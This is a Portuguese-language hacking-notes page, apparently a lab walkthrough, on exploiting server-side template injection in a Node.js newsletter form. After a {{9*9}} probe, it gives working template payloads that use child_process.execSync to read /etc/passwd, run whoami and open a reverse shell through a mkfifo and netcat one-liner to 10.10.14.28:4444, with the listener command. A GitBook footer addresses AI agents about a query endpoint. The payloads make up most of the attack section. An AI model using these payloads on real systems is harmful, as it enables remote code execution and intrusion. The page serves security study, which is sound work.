> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md).

# SSTI em Node.js

## SSTI (Node.js)

Percebemos uma funcionalidade que permite aos usuários inserir um e-mail para assinar uma newsletter. A resposta do servidor exibe diretamente nossa entrada, o que sugere uma possível **Injeção de Modelo no Lado do Servidor (SSTI)**.

<figure><img src="/files/e4e8535e6b1c1e248be7c78b1029855dedd01bb7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8286d95002e5f3b0375ab01d7a4d1beb6ca27ba1" alt=""><figcaption></figcaption></figure>

#### Teste de vulnerabilidade

Interceptamos a requisição com **Burp Suite** e testamos uma SSTI clássica:

<figure><img src="/files/ba2f4d9cb3a8eec9f729d483f9d58d8ba24cacf6" alt=""><figcaption></figcaption></figure>

```json
{{9*9}}

```

Se a resposta exibir `81`, então a aplicação é vulnerável, e é o caso aqui.

<figure><img src="/files/2975fe425e174dcf9d07393178bbb26a84d50444" alt=""><figcaption></figcaption></figure>

### Leitura `/etc/passwd`

Usamos o payload abaixo para exibir o conteúdo de `/etc/passwd`:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')/"))}}

```

{% endcode %}

<figure><img src="/files/587f816271433689da009add9cb957cd956dad6d" alt=""><figcaption></figcaption></figure>

#### Obtenção do usuário atual

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('whoami')/")()}}

```

{% endcode %}

Obtemos `david`.

<figure><img src="/files/1ec6a13ea2b52725872865680bb0f4b167b16396" alt=""><figcaption></figcaption></figure>

### Shell reversa via SSTI (Node.js)

Início do listener na porta **4444**:

```bash
nc -nlvp 4444

```

Envio do payload de shell reversa:

{% code overflow="wrap" %}

```python
{{range.constructor(/"return global.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f')/")()}}

```

{% endcode %}

Acesso à máquina-alvo

<figure><img src="/files/926a1218f4964ae58194e97144c7ba9a628a1bfa" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-node.js-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
